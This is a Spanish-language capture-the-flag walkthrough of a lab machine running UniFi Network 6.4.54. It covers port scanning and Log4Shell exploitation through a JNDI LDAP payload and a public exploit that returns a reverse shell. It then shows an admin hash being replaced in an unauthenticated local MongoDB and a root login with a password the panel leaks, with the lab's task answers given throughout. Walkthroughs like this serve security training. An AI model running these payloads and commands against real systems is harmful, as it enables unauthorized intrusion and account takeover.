RECONOCIMIENTO — Escaneo de puertos
Comenzamos con un escaneo completo de todos los puertos TCP para mapear la superficie de ataque disponible en la máquina víctima:
escaneo inicial — todos los puertos
nmap -p- -T5 <IP> -oG allPorts
| PUERTO | ESTADO | SERVICIO |
| 22/tcp | OPEN | SSH |
| 6789/tcp | OPEN | ibm-db2-admin |
| 8080/tcp | OPEN | http-proxy |
| 8443/tcp | OPEN | https-alt |
| 8843/tcp | OPEN | unknown |
| 8880/tcp | OPEN | cddbp-alt |
Tarea 1
¿Cuáles son los primeros cuatro puertos abiertos? →
22, 6789, 8080, 8443
Con los puertos identificados, lanzamos un escaneo más profundo para obtener versiones exactas de los servicios y ejecutar los scripts de detección de Nmap (-sCV):
escaneo detallado de servicios
nmap -p22,6789,8080,8443,8843,8880 -sSCV -T5 -n -Pn -vvv <IP> -oN scan.txt
El escaneo no identifica directamente el software del puerto 8443. Al intentar acceder por HTTP recibimos un error de TLS. Accedemos correctamente usando HTTPS: https://<IP>:8443. Se muestra un panel de login con el logo de la aplicación y su número de versión.
Tarea 2
¿Cuál es el título del software en el puerto 8443? →
UniFi Network
Tarea 3
¿Cuál es la versión del software? →
6.4.54
LOG4SHELL — CVE-2021-44228 vía JNDI injection
Con la versión exacta del software identificada — UniFi Network 6.4.54 — realizamos una búsqueda de vulnerabilidades conocidas. Esta versión es afectada por Log4Shell, una de las vulnerabilidades más críticas y ampliamente explotadas de los últimos años, publicada en diciembre de 2021.
CVE-2021-44228 — Log4Shell
La librería de logging
Log4j 2, utilizada internamente por UniFi, interpreta y resuelve de forma activa expresiones especiales dentro de los mensajes que registra. Un atacante puede inyectar una cadena del tipo
${jndi:ldap://atacante/x} en cualquier campo que sea logueado por la aplicación. Log4j procesa la expresión, realiza una petición LDAP hacia el servidor del atacante y, dependiendo de la configuración, carga y ejecuta código Java remoto — todo ello
sin autenticación previa.
Tarea 4
¿Cuál es el CVE de la vulnerabilidad identificada? →
CVE-2021-44228
Tarea 5
¿Qué protocolo usa JNDI en la inyección? →
LDAP
Antes de lanzar el exploit completo, verificamos que el servidor es realmente vulnerable interceptando su tráfico de red. Levantamos tcpdump escuchando en el puerto LDAP estándar (389) e inyectamos el payload en el campo remember de la petición de login interceptada con Burp. Si el servidor intenta conectarse de vuelta hacia nosotros, la vulnerabilidad es confirmada:
verificación — listener tcpdump en puerto LDAP
tcpdump -i tun0 port 389
¿Por qué el puerto 389?
JNDI (Java Naming and Directory Interface) es una API de Java que permite a las aplicaciones buscar recursos por nombre en directorios de red. En este ataque, el payload instruye a Log4j para que realice una consulta LDAP — cuyo puerto estándar es el 389 — hacia nuestra máquina. Al observar esa conexión entrante con tcpdump confirmamos que Log4j está procesando y resolviendo activamente el payload inyectado.
Tarea 6
¿Qué herramienta usamos para interceptar el tráfico? →
tcpdump
Tarea 7
¿En qué puerto debemos inspeccionar el tráfico? →
389
Confirmada la vulnerabilidad, usamos Log4jUnifi, un exploit específicamente diseñado para automatizar la explotación de Log4Shell en instancias de UniFi. El repositorio incluye un servidor LDAP malicioso, un servidor HTTP para servir el payload Java y el script de explotación que lo encadena todo:
github.com/puzzlepeaches/Log4jUnifi
instalación del exploit
git clone https://github.com/puzzlepeaches/Log4jUnifi
cd Log4jUnifi
pip3 install -r requirements.txt
Lanzamos el exploit indicando la URL objetivo, nuestra IP de atacante y el puerto donde recibiremos la reverse shell:
lanzamiento del exploit
python3 exploit.py -u https://<IP>:8443 -i <IP_ATACANTE> -p 4444
[+] Listening for reverse shells on 0.0.0.0:4444
[+] Got reverse shell from unifi — Linux-x86_64 — Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/script
[+] Got reverse shell from unifi — Linux-x86_64 — Assigned SessionID <2>
[+] Logging to /home/kali/.penelope/sessions/...
unifi@unified:/usr/lib/unifi$
Obtenemos una shell estable como el usuario unifi. La flag de usuario se encuentra en el directorio home de michael, accesible con los permisos de nuestro usuario actual:
cat /home/michael/flag.txt
USER FLAG/home/michael/flag.txt
MONGODB — Enumeración y manipulación de credenciales
Con la shell activa como unifi, el objetivo es escalar privilegios. UniFi almacena toda su configuración y credenciales en una base de datos MongoDB local. Primero identificamos en qué puerto está escuchando filtrando los procesos activos:
localización del proceso MongoDB
ps aux | grep mongo
unifi 68 0.3 4.1 1109072 84868 ? Sl 22:00 0:04
bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117
--unixSocketPrefix /usr/lib/unifi/run --logRotate reopen
--logappend --logpath /usr/lib/unifi/logs/mongod.log
--pidfilepath /usr/lib/unifi/run/mongod.pid --bind_ip 127.0.0.1
Tarea 8
¿En qué puerto corre el servicio MongoDB? →
27117
MongoDB está escuchando en 127.0.0.1:27117 — solo accesible localmente, pero tenemos una shell en el sistema. La base de datos por defecto de UniFi se llama ace. Nos conectamos directamente y enumeramos la colección de administradores usando db.admin.find():
Tarea 9
¿Cuál es el nombre de la base de datos por defecto de UniFi? →
ace
Tarea 10
¿Qué función usamos para enumerar usuarios en MongoDB? →
db.admin.find()
enumeración de administradores en la base de datos
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
{
"_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
"name" : "administrator",
"email" : "
[email protected]",
"x_shadow" : "$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QB/qHiQV0Pv
Uc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.",
"last_site_name" : "default"
}
El campo x_shadow contiene el hash de la contraseña del administrador. El prefijo $6$ indica que está en formato SHA-512. En lugar de intentar crackearlo — lo que podría llevar mucho tiempo o fallar — adoptamos un enfoque más directo: generamos un hash SHA-512 de una contraseña que nosotros controlamos y lo sustituimos en la base de datos:
generación de un hash SHA-512 propio
mkpasswd -m sha-512 password
$6$7GXX1x7nuTJIXtvg$SFV4tH4a9.4PNH.FO5ko18Q6ves8XCIUeLws6vyIrLR6uNeKhHjksbFP/wszD.qP5jo0.adS0Jk99oQraW5R80
Tarea 11
¿Qué función usamos para actualizar usuarios en MongoDB? →
db.admin.update()
Actualizamos el campo x_shadow del usuario administrator con nuestro hash recién generado:
sustitución del hash en la base de datos
mongo --port 27117 ace --eval 'db.admin.update(
{"name": "administrator"},
{$set: {"x_shadow": "$6$7GXX1x7nuTJIXtvg$SFV4tH4a9.4PNH.FO5ko18Q6ves8XCIUeLws6vyIrLR6uNeKhHjksbFP/wszD.qP5jo0.adS0Jk99oQraW5R80"}}
)'
¿Por qué funciona esta técnica?
MongoDB no requería autenticación desde la shell local del sistema. Al tener acceso directo al proceso de base de datos como usuario
unifi, podemos leer y escribir cualquier colección sin restricciones. Reemplazar el hash equivale a cambiar la contraseña del administrador de la aplicación web sin conocer la original — un abuso clásico de acceso no autenticado a bases de datos expuestas internamente.
Con el hash actualizado, iniciamos sesión en el panel web de UniFi (https://<IP>:8443) con las credenciales administrator / password. El panel carga con acceso completo de administrador.
PRIVILEGE ESCALATION — Credenciales SSH expuestas en el panel
Una vez dentro del panel de administración de UniFi, exploramos las diferentes secciones de configuración. Los controladores UniFi gestionan dispositivos de red (access points, switches) y necesitan autenticarse contra ellos vía SSH. Por ello, el panel almacena credenciales SSH del sistema — y en este caso las expone en texto claro.
1
Navegar a Settings → System → Device Authentication
Esta sección gestiona las credenciales SSH que el controlador usa para comunicarse con los dispositivos de red de la infraestructura.
2
Credenciales SSH de root visibles en texto claro
El campo de contraseña muestra directamente NotACrackablePassword4U2022 para el usuario root, sin ningún tipo de enmascaramiento.
3
Reutilización de credenciales en el sistema operativo
Las credenciales SSH configuradas en el panel son las mismas que las del usuario root del sistema Linux subyacente. Accedemos directamente por SSH.
Tarea 12
¿Cuál es la contraseña del usuario root? →
NotACrackablePassword4U2022
Por qué es crítico
Un panel de administración web que expone contraseñas en texto claro es una vulnerabilidad grave por sí sola. Combinado con el acceso al panel obtenido mediante manipulación de base de datos, el atacante puede leer credenciales privilegiadas del sistema operativo sin necesidad de ninguna técnica adicional de escalada de privilegios.
acceso SSH como root
ssh root@<IP>
Password: NotACrackablePassword4U2022
root@unified:~# whoami
root
root@unified:~# ls -la
-rw------- 1 root root 33 Jan 2 2022 root.txt
root@unified:~# cat root.txt
ROOT FLAG/root/root.txt
CADENA DE ATAQUE
01
Reconocimiento → UniFi Network 6.4.54
Nmap identifica el puerto 8443 con UniFi Network v6.4.54 — versión vulnerable a Log4Shell (CVE-2021-44228)
02
Log4Shell → RCE como unifi
Payload ${jndi:ldap://...} inyectado en el campo remember del login → exploit Log4jUnifi automatiza la explotación → reverse shell estable como usuario unifi
03
MongoDB sin auth → Manipulación de credenciales
MongoDB accesible en localhost:27117 sin autenticación → db.admin.find() expone el hash SHA-512 del admin → db.admin.update() sustituye el hash por uno conocido → acceso completo al panel web
⚡
Panel UniFi → Contraseña SSH en claro → Root
La sección Device Authentication del panel expone la contraseña SSH de root en texto claro: NotACrackablePassword4U2022 → acceso directo como root vía SSH → flag de root